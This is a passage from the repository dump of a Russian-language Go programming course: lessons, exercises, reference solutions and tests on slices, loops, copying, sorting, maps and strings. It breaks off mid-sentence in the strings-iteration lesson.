| 22 | В слайсы можно добавлять элементы с помощью встроенной функции `func append(slice []Type, elems ...Type) []Type`, которая возвращает новый слайс с добавленным элементом: 23 | 24 | ```go 25 | words := []string{"hello"} 26 | 27 | words = append(words, "world") // ["hello", "world"] 28 | ``` 29 | 30 | Так как слайс имеет нефиксированную длину, "под капотом" лежит более сложная структура, чем у массива. Помимо самих значений слайс хранит 2 дополнительных свойства: длину массива *len* (длина) и *cap* (вместимость). Благодаря этому возможно инициализировать слайс нужной длины с помощью встроенной функции `func make(t Type, len, cap IntegerType) Type`. Понимание, где лучше использовать какой способ инициализации, приходит с опытом, но для старта рекомендуется использовать `make` везде, где можно: 31 | 32 | ```go 33 | // len = 5. Массив сразу будет заполнен 5-ю нулевыми значениями 34 | nums := make([]int, 5, 5) // [0, 0, 0, 0, 0] 35 | 36 | // len = 0, но cap = 5. Массив будет пустым, однако заполнение слайса через append будет эффективным, потому что в памяти уже выделен массив нужной длины 37 | nums := make([]int, 0, 5) // [] 38 | ``` 39 | 40 | Передача слайса как аргумента функции происходит хитро. Длина и вместимость передаются по значению, но массив значений передается по ссылке. Вследствие этого получается неявное поведение: добавленные элементы не сохранятся в исходный слайс, но изменение существующих останется: 41 | 42 | ```go 43 | package main 44 | 45 | import ( 46 | "fmt" 47 | ) 48 | 49 | func main() { 50 | nums := []int{1, 2, 3, 4, 5} 51 | 52 | modifySlice(nums) 53 | 54 | fmt.Println(nums) // [1 2 10 4 5] 55 | } 56 | 57 | func modifySlice(nums []int) { 58 | nums[2] = 10 // элемент будет и в исходном слайсе 59 | nums = append(nums, 6) // элемент не добавится в исходный слайс 60 | } 61 | ``` 62 | -------------------------------------------------------------------------------- /modules/20-array-slice-map/15-slice/ru/data.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: Слайсы 3 | tips: 4 | - > 5 | [The Go Programming Language Specification — Slice 6 | types](https://golang.org/ref/spec#Slice_types) 7 | -------------------------------------------------------------------------------- /modules/20-array-slice-map/15-slice/solution.go: -------------------------------------------------------------------------------- 1 | package solution 2 | 3 | // BEGIN 4 | 5 | func RemoveFirstElement(slice []int) []int { 6 | if len(slice) == 0 { 7 | return slice 8 | } 9 | 10 | return slice[1:] 11 | } 12 | 13 | // END 14 | -------------------------------------------------------------------------------- /modules/20-array-slice-map/15-slice/solution_test.go: -------------------------------------------------------------------------------- 1 | package solution 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/stretchr/testify/assert" 7 | ) 8 | 9 | func TestRemoveFirstElement(t *testing.T) { 10 | a := assert.New(t) 11 | a.Equal([]int{2, 3, 4}, RemoveFirstElement([]int{1, 2, 3, 4})) 12 | a.Equal([]int{}, RemoveFirstElement([]int{})) 13 | a.Equal([]int{-3, -2}, RemoveFirstElement([]int{-4, -3, -2})) 14 | a.Equal([]int{}, RemoveFirstElement([]int{3})) 15 | } 16 | -------------------------------------------------------------------------------- /modules/20-array-slice-map/20-for-loop/Makefile: -------------------------------------------------------------------------------- 1 | test: 2 | @ test.sh 3 | -------------------------------------------------------------------------------- /modules/20-array-slice-map/20-for-loop/ru/EXERCISE.md: -------------------------------------------------------------------------------- 1 | 2 | Реализуйте функцию `func Map(strs []string, mapFunc func(s string) string) []string`, которая преобразует каждый элемент слайса `strs` с помощью функции `mapFunc` и возвращает новый слайс. Учтите, что исходный слайс, который передается как `strs`, не должен измениться в процессе выполнения. 3 | -------------------------------------------------------------------------------- /modules/20-array-slice-map/20-for-loop/ru/README.md: -------------------------------------------------------------------------------- 1 | 2 | Из-за стремления создателей Go к простоте и однозначности обход коллекций осуществляется только через цикл `for`. Условное выражение пишется без скобок и тело цикла всегда должно быть внутри `{ }`: 3 | 4 | ```go 5 | nums := make([]int, 0, 10) 6 | 7 | // начиная с 0; пока i меньше 10; инкрементим i после каждого шага 8 | for i := 0; i < 10; i++ { 9 | nums = append(nums, i) 10 | } 11 | 12 | fmt.Println(nums) // [0, 1, 2, 3, 4, 5, 6, 7, 8, 9] 13 | ``` 14 | 15 | При необходимости `for` используется как цикл `while` в других языках: 16 | 17 | ```go 18 | i := 0 19 | nums := make([]int, 0, 10) 20 | 21 | for i < 10 { 22 | nums = append(nums, i) 23 | i++ 24 | } 25 | 26 | fmt.Println(nums) // [0, 1, 2, 3, 4, 5, 6, 7, 8, 9] 27 | ``` 28 | 29 | Если опустить условное выражение, можно уйти в бесконечный цикл: 30 | 31 | ```go 32 | i := 0 33 | 34 | nums := make([]int, 0, 10) 35 | 36 | for { 37 | if i == 10 { 38 | break 39 | } 40 | 41 | nums = append(nums, i) 42 | i++ 43 | } 44 | 45 | fmt.Println(nums) // [0, 1, 2, 3, 4, 5, 6, 7, 8, 9] 46 | ``` 47 | 48 | Если условное выражение возвращает `false` или был вызван `break` в теле, то происходит остановка цикла. Перейти на следующую итерацию можно с помощью ключевого слова `continue`: 49 | 50 | ```go 51 | nums := make([]int, 0, 10) 52 | 53 | // добавляем только четные числа в слайс 54 | for i := 0; i < 10; i++ { 55 | if i%2 != 0 { 56 | continue 57 | } 58 | 59 | nums = append(nums, i) 60 | } 61 | 62 | fmt.Println(nums) // [0 2 4 6 8] 63 | ``` 64 | 65 | Для обхода коллекции в Go есть "синтаксический сахар" `range`. Эта конструкция обходит слайс, возвращая пару - индекс и элемент на каждом шаге: 66 | 67 | ```go 68 | names := []string{"John", "Harold", "Vince"} 69 | 70 | // i — это индекс, name — это значение на текущем шаге цикла 71 | for i, name := range names { 72 | fmt.Println("Hello ", name, " at index ", i) 73 | } 74 | 75 | // => Hello John at index 0 76 | // => Hello Harold at index 1 77 | // => Hello Vince at index 2 78 | ``` 79 | 80 | Если пропустить вторую переменную, то получим только индексы: 81 | 82 | ```go 83 | for i := range names { 84 | fmt.Println("index = ", i) 85 | } 86 | 87 | // => index = 0 88 | // => index = 1 89 | // => index = 2 90 | ``` 91 | 92 | Можно пропустить первую переменную, это можно сделать с помощью `_`: 93 | 94 | ```go 95 | for _, name := range names { 96 | fmt.Println("Hello ", name) 97 | } 98 | 99 | // => Hello John 100 | // => Hello Harold 101 | // => Hello Vince 102 | ``` 103 | 104 | Пропуск сразу двух переменных не сработает. На этапе компиляции произойдет ошибка: 105 | 106 | ```go 107 | for _, _ := range names { 108 | fmt.Println("Nothing") 109 | } 110 | ``` 111 | 112 | ```text 113 | # command-line-arguments 114 | ./main.go:21:14: no new variables on left side of := 115 | ``` 116 | -------------------------------------------------------------------------------- /modules/20-array-slice-map/20-for-loop/ru/data.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: Цикл for 3 | tips: 4 | - > 5 | [The Go Programming Language Specification — For 6 | statement](https://golang.org/ref/spec#For_statements) 7 | -------------------------------------------------------------------------------- /modules/20-array-slice-map/20-for-loop/solution.go: -------------------------------------------------------------------------------- 1 | package solution 2 | 3 | // BEGIN 4 | 5 | // Map iterates through the strs slice and modifies each element via mapFunc. The func is safe and strs won't be modified. 6 | func Map(strs []string, mapFunc func(s string) string) []string { 7 | mapped := make([]string, len(strs)) 8 | for i, s := range strs { 9 | mapped[i] = mapFunc(s) 10 | } 11 | 12 | return mapped 13 | } 14 | 15 | // END 16 | -------------------------------------------------------------------------------- /modules/20-array-slice-map/20-for-loop/solution_test.go: -------------------------------------------------------------------------------- 1 | package solution 2 | 3 | import ( 4 | "golang.org/x/text/cases" 5 | "golang.org/x/text/language" 6 | "strings" 7 | "testing" 8 | 9 | "github.com/stretchr/testify/assert" 10 | ) 11 | 12 | func TestMap(t *testing.T) { 13 | a := assert.New(t) 14 | testMap(a, []string{"John", "Peter", "Fedor"}, []string{"john", "peter", "fedor"}, func(s string) string { 15 | return cases.Title(language.English).String(s) 16 | }) 17 | testMap(a, []string{"hello", "world"}, []string{"HELLO", "WORLD"}, func(s string) string { 18 | return strings.ToLower(s) 19 | }) 20 | } 21 | 22 | func testMap(a *assert.Assertions, expected, input []string, mapFunc func(s string) string) { 23 | inputCopy := make([]string, len(input)) 24 | copy(inputCopy, input) 25 | 26 | a.Equal(expected, Map(input, mapFunc)) 27 | a.Equal(inputCopy, input) // check that the initial slice hasn't been modified. 28 | } 29 | -------------------------------------------------------------------------------- /modules/20-array-slice-map/25-slice-copy/Makefile: -------------------------------------------------------------------------------- 1 | test: 2 | @ test.sh 3 | -------------------------------------------------------------------------------- /modules/20-array-slice-map/25-slice-copy/ru/EXERCISE.md: -------------------------------------------------------------------------------- 1 | 2 | Реализуйте функцию `IntsCopy(src []int, maxLen int) []int`, которая создает копию слайса `src` с длиной `maxLen`. Если `maxLen` равен нулю или отрицательный, то функция возвращает пустой слайс `[]int{}`. Если `maxLen` больше длины `src`, то возвращается полная копия `src`. 3 | -------------------------------------------------------------------------------- /modules/20-array-slice-map/25-slice-copy/ru/README.md: -------------------------------------------------------------------------------- 1 | 2 | Допустим, в вашей функции происходят изменения элементов, но вы не хотите затронуть входной слайс. В языке есть встроенная функция `func copy(dst, src []Type) int`, которая копирует слайс `src` в слайс `dst` и возвращает кол-во скопированных элементов: 3 | 4 | ```go 5 | nums := []int{1, 2, 3, 4, 5} 6 | 7 | // важно инициализировать слайс той же длины 8 | numsCp := make([]int, len(nums)) 9 | 10 | copy(numsCp, nums) 11 | 12 | fmt.Println(numsCp) // [1,2,3,4,5] 13 | ``` 14 | 15 | Почему мы не можем просто перезаписать слайс в другую переменную и изменять ее? Как и с функциями, при присваивании слайса к переменной, копируется только длина и вместимость, но массив передается по ссылке: 16 | 17 | ```go 18 | nums := []int{1, 2, 3, 4, 5} 19 | 20 | numsCp := nums 21 | 22 | // исходный слайс nums тоже будет изменен 23 | numsCp[0] = 10 24 | 25 | fmt.Println(nums) // [10,2,3,4,5] 26 | ``` 27 | 28 | Существует распространенная ошибка, когда пытаются скопировать слайсы различной длины. В этом случае элементы, выходящие за рамки слайса `dst`, не будут скопированы: 29 | 30 | ```go 31 | nums := []int{1, 2, 3, 4, 5} 32 | 33 | // создали слайс с длиной 0 34 | numsCp := make([]int, 0) 35 | 36 | // при копировании в пустой слайс ничего не произойдет 37 | copy(numsCp, nums) 38 | 39 | fmt.Println(numsCp) // [] 40 | ``` 41 | -------------------------------------------------------------------------------- /modules/20-array-slice-map/25-slice-copy/ru/data.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: Копирование слайсов 3 | tips: 4 | - > 5 | [The Go Programming Language Specification — Appending to and copying 6 | slices](https://golang.org/ref/spec#Appending_and_copying_slices) 7 | -------------------------------------------------------------------------------- /modules/20-array-slice-map/25-slice-copy/solution.go: -------------------------------------------------------------------------------- 1 | package solution 2 | 3 | // BEGIN 4 | 5 | // IntsCopy copies a slice of ints src with max length len. 6 | // If maxLen is greater than src it returns a full copy of src. 7 | // If maxLen is zero or negative it returns empty slice. 8 | func IntsCopy(src []int, maxLen int) []int { 9 | if maxLen <= 0 { 10 | return []int{} 11 | } 12 | 13 | if maxLen > len(src) { 14 | maxLen = len(src) 15 | } 16 | 17 | cp := make([]int, maxLen) 18 | copy(cp, src) 19 | 20 | return cp 21 | } 22 | 23 | // END 24 | -------------------------------------------------------------------------------- /modules/20-array-slice-map/25-slice-copy/solution_test.go: -------------------------------------------------------------------------------- 1 | package solution 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/stretchr/testify/assert" 7 | ) 8 | 9 | func TestMap(t *testing.T) { 10 | a := assert.New(t) 11 | a.Equal([]int{}, IntsCopy([]int{}, 0)) 12 | a.Equal([]int{}, IntsCopy([]int{1, 2}, 0)) 13 | a.Equal([]int{}, IntsCopy([]int{1, 2}, -1)) 14 | a.Equal([]int{}, IntsCopy([]int{1, 2}, -5)) 15 | a.Equal([]int{1, 2}, IntsCopy([]int{1, 2, 3}, 2)) 16 | a.Equal([]int{1, 2, 3, 4}, IntsCopy([]int{1, 2, 3, 4}, 4)) 17 | a.Equal([]int{1, 2, 3, 4, 5}, IntsCopy([]int{1, 2, 3, 4, 5}, 10)) 18 | } 19 | -------------------------------------------------------------------------------- /modules/20-array-slice-map/30-slice-sort/Makefile: -------------------------------------------------------------------------------- 1 | test: 2 | @ test.sh 3 | -------------------------------------------------------------------------------- /modules/20-array-slice-map/30-slice-sort/ru/EXERCISE.md: -------------------------------------------------------------------------------- 1 | Реализуйте функцию `UniqueSortedUserIDs(userIDs []int64) []int64`, которая возвращает отсортированный слайс, состоящий из уникальных идентификаторов `userIDs`. Обработка должна происходить in-place, то есть без выделения доп. памяти. 2 | -------------------------------------------------------------------------------- /modules/20-array-slice-map/30-slice-sort/ru/README.md: -------------------------------------------------------------------------------- 1 | 2 | Сортировка массива — распространненая задача в программировании. Во всех языках существуют готовые решения для этой задачи, и Go — не исключение. Стандартный пакет `sort` предоставляет функции для сортировки: 3 | 4 | ```go 5 | nums := []int{2, 1, 6, 5, 3, 4} 6 | 7 | sort.Slice(nums, func(i, j int) bool { 8 | return nums[i] < nums[j] 9 | }) 10 | 11 | fmt.Println(nums) // [1 2 3 4 5 6] 12 | ``` 13 | 14 | Рассмотрим функцию `Slice(x interface{}, less func(i, j int) bool)`. В описании функции присутствует неизвестный тип данных `interface{}`. Понятие интерфейса будет рассмотренно в следующих модулях курса. Следует запомнить, что пустой интерфейс `interface{}` в Go означает тип данных, под который подходит любой другой тип. Например: 15 | 16 | ```go 17 | func Print(arg interface{}) { 18 | fmt.Println(arg) 19 | } 20 | 21 | func main() { 22 | Print("hello!") 23 | Print(123) 24 | Print([]int{1, 5, 10}) 25 | } 26 | ``` 27 | 28 | Вывод: 29 | 30 | ```text 31 | hello! 32 | 123 33 | [1 5 10] 34 | ``` 35 | 36 | То есть в функцию `Slice(x interface{}, less func(i, j int) bool)` передается слайс любого типа данных, как первый аргумент. Вторым аргументом передается функция, которая берет элементы по индексу и определяет должен ли элемент по индексу `i` находиться перед элементом по индексу `j`. 37 | 38 | "Под капотом" в функции `sort.Slice` используется быстрая сортировка. В пакете также присутствует сортировка вставками `sort.SliceStable`: 39 | 40 | ```go 41 | nums := []int{2, 1, 6, 5, 3, 4} 42 | 43 | sort.SliceStable(nums, func(i, j int) bool { 44 | return nums[i] < nums[j] 45 | }) 46 | 47 | fmt.Println(nums) // [1 2 3 4 5 6] 48 | ``` 49 | 50 | Выбор алгоритма зависит от набора и размера данных, архитектуры процессора, скорости доступа к памяти, то есть от многих факторов. Для большинства стандартных случаев используется `sort.Slice`, пока производительность или нестабильность алгоритма не станет "узким горлышком". 51 | -------------------------------------------------------------------------------- /modules/20-array-slice-map/30-slice-sort/ru/data.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: Сортировка слайсов 3 | tips: 4 | - | 5 | [Стандартные пакеты в Go — sort](https://pkg.go.dev/sort) 6 | -------------------------------------------------------------------------------- /modules/20-array-slice-map/30-slice-sort/solution.go: -------------------------------------------------------------------------------- 1 | package solution 2 | 3 | import "sort" 4 | 5 | // BEGIN 6 | 7 | // UniqueSortedUserIDs sorts and removes duplicates from the userIDs slice. 8 | func UniqueSortedUserIDs(userIDs []int64) []int64 { 9 | if len(userIDs) < 2 { 10 | return userIDs 11 | } 12 | 13 | sort.SliceStable(userIDs, func(i, j int) bool { return userIDs[i] < userIDs[j] }) 14 | uniqPointer := 0 15 | for i := 1; i < len(userIDs); i++ { 16 | if userIDs[uniqPointer] != userIDs[i] { 17 | uniqPointer++ 18 | userIDs[uniqPointer] = userIDs[i] 19 | } 20 | } 21 | 22 | return userIDs[:uniqPointer+1] 23 | } 24 | 25 | // END 26 | -------------------------------------------------------------------------------- /modules/20-array-slice-map/30-slice-sort/solution_test.go: -------------------------------------------------------------------------------- 1 | package solution 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/stretchr/testify/assert" 7 | ) 8 | 9 | func TestUniqueSortedUserIDs(t *testing.T) { 10 | a := assert.New(t) 11 | a.Equal([]int64{}, UniqueSortedUserIDs([]int64{})) 12 | a.Equal([]int64{10}, UniqueSortedUserIDs([]int64{10})) 13 | a.Equal([]int64{55}, UniqueSortedUserIDs([]int64{55, 55})) 14 | a.Equal([]int64{22, 33, 55}, UniqueSortedUserIDs([]int64{55, 55, 33, 22})) 15 | a.Equal([]int64{2, 33, 55, 88, 103}, UniqueSortedUserIDs([]int64{55, 2, 88, 33, 2, 2, 55, 103, 33, 88})) 16 | } 17 | -------------------------------------------------------------------------------- /modules/20-array-slice-map/35-map/Makefile: -------------------------------------------------------------------------------- 1 | test: 2 | @ test.sh 3 | -------------------------------------------------------------------------------- /modules/20-array-slice-map/35-map/ru/EXERCISE.md: -------------------------------------------------------------------------------- 1 | 2 | Реализуйте функцию `UniqueUserIDs(userIDs []int64) []int64`, которая возвращает слайс, состоящий из уникальных идентификаторов `userIDs`. Порядок слайса должен сохраниться. 3 | -------------------------------------------------------------------------------- /modules/20-array-slice-map/35-map/ru/README.md: -------------------------------------------------------------------------------- 1 | 2 | Map — тип данных, предназначенный для хранения пар *ключ-значение*. В других языках эту структуру так же называют: хэш-таблица, словарь, ассоциативный массив. Запись и чтение элементов происходят в основном за O(1): 3 | 4 | ```go 5 | // создание пустой мапы 6 | var m map[int]string 7 | 8 | // сокращенное создание пустой мапы 9 | m := map[int]string{} 10 | 11 | // рекомендуемое создание с обозначением размера 12 | m := make(map[int]string, 10) 13 | 14 | // создание мапы с элементами 15 | m := map[int]string{1: "hello", 2: "world"} 16 | 17 | // добавление элемента 18 | m[3] = "!" // map[1:hello, 2:world, 3:!] 19 | 20 | // чтение элемента 21 | word := m[1] // "hello" 22 | ``` 23 | 24 | При чтении элемента по несуществующему ключу возвращается нулевое значение данного типа. Это приводит к ошибкам логики, когда используется `bool` как значение. Для решения данной проблемы при чтении используется вторая переменная, в которую записывается наличие элемента в мапе: 25 | 26 | ```go 27 | elements := map[int64]bool{1: true, 2: true} 28 | 29 | element, elementExists := elements[1] // true, true 30 | element, elementExists := elements[2] // true, true 31 | 32 | element, elementExists := elements[225] // false, false 33 | ``` 34 | 35 | Для проверки существования ключа можно использовать мапу с пустыми структурами 36 | 37 | ```go 38 | // пустая структура struct{} — это тип данных, который занимает 0 байт 39 | // используется, когда нужно проверять в мапе только наличие ключа 40 | cache := make(map[string]struct{}) 41 | 42 | // проверяем есть ли ключ `key` в мапе 43 | _, ok := cache["key"] 44 | fmt.Println(ok) // false 45 | 46 | // добавим ключ и проверим вновь 47 | cache["key"] = struct{}{} 48 | _, ok = cache["key"] 49 | fmt.Println(ok) // true 50 | ``` 51 | 52 | Элементы удаляются с помощью встроенной функции `delete(m map[Type]Type1, key Type)`: 53 | 54 | ```go 55 | engToRus := map[string]string{"hello": "привет", "world": "мир"} 56 | 57 | delete(engToRus, "world") 58 | 59 | fmt.Println(engToRus) // map[hello:привет] 60 | ``` 61 | 62 | Мапы в Go всегда передаются по ссылке: 63 | 64 | ```go 65 | package main 66 | 67 | import ( 68 | "fmt" 69 | ) 70 | 71 | func main() { 72 | m := map[int]string{1: "hello", 2: "world"} 73 | 74 | modifyMap(m) 75 | 76 | fmt.Println(m) // вывод: map[1:changed 2:world 200:added] 77 | } 78 | 79 | func modifyMap(m map[int]string) { 80 | m[200] = "added" 81 | 82 | m[1] = "changed" 83 | } 84 | ``` 85 | -------------------------------------------------------------------------------- /modules/20-array-slice-map/35-map/ru/data.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: Мапа 3 | tips: 4 | - > 5 | [The Go Programming Language Specification — Map 6 | types](https://golang.org/ref/spec#Map_types) 7 | - > 8 | [The Go Programming Language Specification — Making 9 | maps](https://golang.org/ref/spec#Making_slices_maps_and_channels) 10 | - > 11 | [The Go Programming Language Specification — Deleting map 12 | elements](https://golang.org/ref/spec#Deletion_of_map_elements) 13 | -------------------------------------------------------------------------------- /modules/20-array-slice-map/35-map/solution.go: -------------------------------------------------------------------------------- 1 | package solution 2 | 3 | // BEGIN 4 | 5 | // UniqueUserIDs removes duplicates from the userIDs slice saving the IDs order. 6 | func UniqueUserIDs(userIDs []int64) []int64 { 7 | // пустая структура struct{} — это тип данных, который занимает 0 байт 8 | // используется, когда нужно проверять в мапе только наличие ключа 9 | processed := make(map[int64]struct{}) 10 | 11 | uniqUserIDs := make([]int64, 0) 12 | for _, uid := range userIDs { 13 | _, is_exists := processed[uid] 14 | if is_exists { 15 | continue 16 | } 17 | 18 | uniqUserIDs = append(uniqUserIDs, uid) 19 | processed[uid] = struct{}{} 20 | } 21 | 22 | return uniqUserIDs 23 | } 24 | 25 | // END 26 | -------------------------------------------------------------------------------- /modules/20-array-slice-map/35-map/solution_test.go: -------------------------------------------------------------------------------- 1 | package solution 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/stretchr/testify/assert" 7 | ) 8 | 9 | func TestUniqueUserIDs(t *testing.T) { 10 | a := assert.New(t) 11 | a.Equal([]int64{}, UniqueUserIDs([]int64{})) 12 | a.Equal([]int64{10}, UniqueUserIDs([]int64{10})) 13 | a.Equal([]int64{55}, UniqueUserIDs([]int64{55, 55})) 14 | a.Equal([]int64{55, 33, 22}, UniqueUserIDs([]int64{55, 55, 33, 22})) 15 | a.Equal([]int64{55, 2, 88, 33, 103}, UniqueUserIDs([]int64{55, 2, 88, 33, 2, 2, 55, 103, 33, 88})) 16 | } 17 | -------------------------------------------------------------------------------- /modules/20-array-slice-map/40-map-for/Makefile: -------------------------------------------------------------------------------- 1 | test: 2 | @ test.sh 3 | -------------------------------------------------------------------------------- /modules/20-array-slice-map/40-map-for/ru/EXERCISE.md: -------------------------------------------------------------------------------- 1 | 2 | Реализуйте функцию `MostPopularWord(words []string) string`, которая возвращает самое часто встречаемое слово в слайсе. Если таких слов несколько, то возвращается первое из них. 3 | -------------------------------------------------------------------------------- /modules/20-array-slice-map/40-map-for/ru/README.md: -------------------------------------------------------------------------------- 1 | 2 | Как и слайс, мапу можно обойти с помощью конструкции `for range`: 3 | 4 | ```go 5 | idToName := map[int64]string{1: "Alex", 2: "Dan", 3: "George"} 6 | 7 | // первый аргумент — ключ, второй — значение 8 | for id, name := range idToName { 9 | fmt.Println("id: ", id, "name: ", name) 10 | } 11 | ``` 12 | 13 | Вывод: 14 | 15 | ```text 16 | id: 1 name: Alex 17 | id: 2 name: Dan 18 | id: 3 name: George 19 | ``` 20 | 21 | Стоит учитывать, что порядок ключей в мапе **рандомизирован**: 22 | 23 | ```go 24 | numExistence := make(map[int]bool, 0) 25 | 26 | // записали по порядку числа от 0 до 9 27 | for i := 0; i < 10; i++ { 28 | numExistence[i] = true 29 | } 30 | 31 | // обходим мапу и выводим ключи 32 | for num := range numExistence { 33 | fmt.Println(num) 34 | } 35 | ``` 36 | 37 | Вывод: 38 | 39 | ```text 40 | 8 41 | 1 42 | 2 43 | 3 44 | 6 45 | 7 46 | 9 47 | 0 48 | 4 49 | 5 50 | ``` 51 | -------------------------------------------------------------------------------- /modules/20-array-slice-map/40-map-for/ru/data.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: Обход мапы 3 | tips: 4 | - | 5 | [Go by Example: Range](https://gobyexample.com/range) 6 | -------------------------------------------------------------------------------- /modules/20-array-slice-map/40-map-for/solution.go: -------------------------------------------------------------------------------- 1 | package solution 2 | 3 | // BEGIN (write your solution here) 4 | // MostPopularWord returns most popular word from the words slice. 5 | // If there are multiple popular words it returns the first one depending on the words slice order. 6 | func MostPopularWord(words []string) string { 7 | wordsCount := make(map[string]int, 0) 8 | mostPopWord := "" 9 | max := 0 10 | 11 | for _, word := range words { 12 | wordsCount[word]++ 13 | if wordsCount[word] > max { 14 | max = wordsCount[word] 15 | } 16 | } 17 | 18 | for _, word := range words { 19 | if wordsCount[word] == max { 20 | mostPopWord = word 21 | break 22 | } 23 | } 24 | 25 | return mostPopWord 26 | } 27 | 28 | // END 29 | -------------------------------------------------------------------------------- /modules/20-array-slice-map/40-map-for/solution_test.go: -------------------------------------------------------------------------------- 1 | package solution 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/stretchr/testify/assert" 7 | ) 8 | 9 | func TestMostPopularWord(t *testing.T) { 10 | a := assert.New(t) 11 | a.Equal("hello", MostPopularWord([]string{"hello", "world", "hello"})) 12 | a.Equal("world", MostPopularWord([]string{"hello", "world", "hello", "world", "world"})) 13 | a.Equal("one", MostPopularWord([]string{"one", "two", "three", "four", "five"})) 14 | a.Equal("c", MostPopularWord([]string{"a", "b", "c", "c", "d", "e", "e", "d"})) 15 | a.Equal("a", MostPopularWord([]string{"a", "b", "b", "a"})) 16 | } 17 | -------------------------------------------------------------------------------- /modules/20-array-slice-map/description.ru.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: Коллекции 3 | description: | 4 | Коллекции в Go представлены 3-мя типами: array, slice и map. Каждый тип имеет свои особенности, которые мы рассмотрим в данном модуле 5 | -------------------------------------------------------------------------------- /modules/30-strings/10-strings-bytes/Makefile: -------------------------------------------------------------------------------- 1 | test: 2 | @ test.sh 3 | -------------------------------------------------------------------------------- /modules/30-strings/10-strings-bytes/ru/EXERCISE.md: -------------------------------------------------------------------------------- 1 | 2 | Реализуйте функции `nextASCII(b byte) byte` и `prevASCII(b byte) byte`, которые возвращают следующий или предыдущий символ ASCII таблицы соответственно. Например: 3 | 4 | ```go 5 | string(nextASCII(byte('a'))) // 'b' 6 | string(prevASCII(byte('b'))) // 'a' 7 | ``` 8 | 9 | Допускаем, что в функцию `prevASCII` *не* может прийти нулевой символ, а в функцию `nextASCII` — последний символ ASCII таблицы. 10 | -------------------------------------------------------------------------------- /modules/30-strings/10-strings-bytes/ru/README.md: -------------------------------------------------------------------------------- 1 | 2 | Строки в Go — это иммутабельные массивы байт. Для стандартного компилятора Go внутренняя структура строки описана как: 3 | 4 | ```go 5 | type _string struct { 6 | elements *byte // байты 7 | len int // кол-во байт 8 | } 9 | ``` 10 | 11 | После инициализации строку нельзя изменить и такая иммутабельность позволяет избежать побочных эффектов в коде. 12 | 13 | ```go 14 | s := "hello" 15 | s[4] = "" // ошибка компиляции: cannot assign to s[4] (strings are immutable) 16 | ``` 17 | 18 | Стоит отметить, что тип данных `byte` — это алиас к типу `uint8` (0-255). Во-первых, потому что нужно абстрактно отличать типы в коде. Во-вторых, байты представляют ASCII символы, а в кодовой таблице ASCII символов 256 кодов: 19 | 20 | ```go 21 | package main 22 | 23 | import "fmt" 24 | 25 | func main() { 26 | s := "hey" 27 | 28 | fmt.Println(s[0], s[1], s[2]) // 104 101 121 29 | 30 | fmt.Println(string(s[0]), string(s[1]), string(s[2])) // h e y 31 | } 32 | ``` 33 | 34 | Большинство библиотечных функций работают со слайсами байт `[]byte` для производительности. Конвертация строки в слайс байт описывается в коде явно: 35 | 36 | ```go 37 | package main 38 | 39 | import "fmt" 40 | 41 | func main() { 42 | s := "hey" 43 | bs := []byte(s) 44 | 45 | fmt.Println([]byte(s)) // [104 101 121] 46 | 47 | fmt.Println(string(bs)) // hey 48 | } 49 | ``` 50 | 51 | Отдельные ASCII символы можно объявлять сразу с типом `byte`. Для этого нужно обернуть символ в одинарные кавычки и указать тип `byte`: 52 | 53 | ```go 54 | package main 55 | 56 | import ( 57 | "fmt" 58 | "reflect" 59 | ) 60 | 61 | func main() { 62 | asciiCh := byte('Z') 63 | asciiChStr := string(asciiCh) 64 | 65 | fmt.Println(reflect.TypeOf(asciiCh), asciiCh) // uint8 90 66 | 67 | fmt.Println(reflect.TypeOf(asciiChStr), asciiChStr) // string Z 68 | } 69 | ``` 70 | -------------------------------------------------------------------------------- /modules/30-strings/10-strings-bytes/ru/data.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: Строки и байты 3 | tips: 4 | - > 5 | [The Go Programming Language Specification — 6 | String](https://golang.org/ref/spec#String_types) 7 | -------------------------------------------------------------------------------- /modules/30-strings/10-strings-bytes/solution.go: -------------------------------------------------------------------------------- 1 | package solution 2 | 3 | // BEGIN 4 | 5 | // nextASCII returns the next byte after b according to the ASCII code table. 6 | func nextASCII(b byte) byte { 7 | return b + 1 8 | } 9 | 10 | // prevASCII returns the previous byte after b according to the ASCII code table. 11 | func prevASCII(b byte) byte { 12 | return b - 1 13 | } 14 | 15 | // END 16 | -------------------------------------------------------------------------------- /modules/30-strings/10-strings-bytes/solution_test.go: -------------------------------------------------------------------------------- 1 | package solution 2 | 3 | import ( 4 | "github.com/stretchr/testify/assert" 5 | "testing" 6 | ) 7 | 8 | func TestNextASCII(t *testing.T) { 9 | a := assert.New(t) 10 | a.Equal(byte('b'), nextASCII(byte('a'))) 11 | a.Equal(byte('y'), nextASCII(byte('x'))) 12 | a.Equal(byte('6'), nextASCII(byte('5'))) 13 | } 14 | 15 | func TestPrevASCII(t *testing.T) { 16 | a := assert.New(t) 17 | a.Equal(byte('7'), prevASCII(byte('8'))) 18 | a.Equal(byte('c'), prevASCII(byte('d'))) 19 | a.Equal(byte('m'), prevASCII(byte('n'))) 20 | } 21 | -------------------------------------------------------------------------------- /modules/30-strings/15-strings-for/Makefile: -------------------------------------------------------------------------------- 1 | test: 2 | @ test.sh 3 | -------------------------------------------------------------------------------- /modules/30-strings/15-strings-for/ru/EXERCISE.md: -------------------------------------------------------------------------------- 1 | 2 | Реализуйте функцию `shiftASCII(s string, step int) string`, которая принимает на вход состоящую из ASCII символов строку `s` и возвращает новую строку, где каждый символ из входящей строки сдвинут вперед на число `step`. Например: 3 | 4 | ```go 5 | shiftASCII("abc", 0) // "abc" 6 | shiftASCII("abc1", 1) // "bcd2" 7 | shiftASCII("bcd2", -1) // "abc1" 8 | shiftASCII("hi", 10) // "rs" 9 | ``` 10 | 11 | Если после сдвига код символа выходит за рамки ASCII, то число должно быть взято по модулю 256: 12 | 13 | ```go 14 | shiftASCII("abc", 256) // "abc" 15 | shiftASCII("abc", -511) // "bcd" 16 | ``` 17 | -------------------------------------------------------------------------------- /modules/30-strings/15-strings-for/ru/README.md: -------------------------------------------------------------------------------- 1 | 2 | Так как строка — это 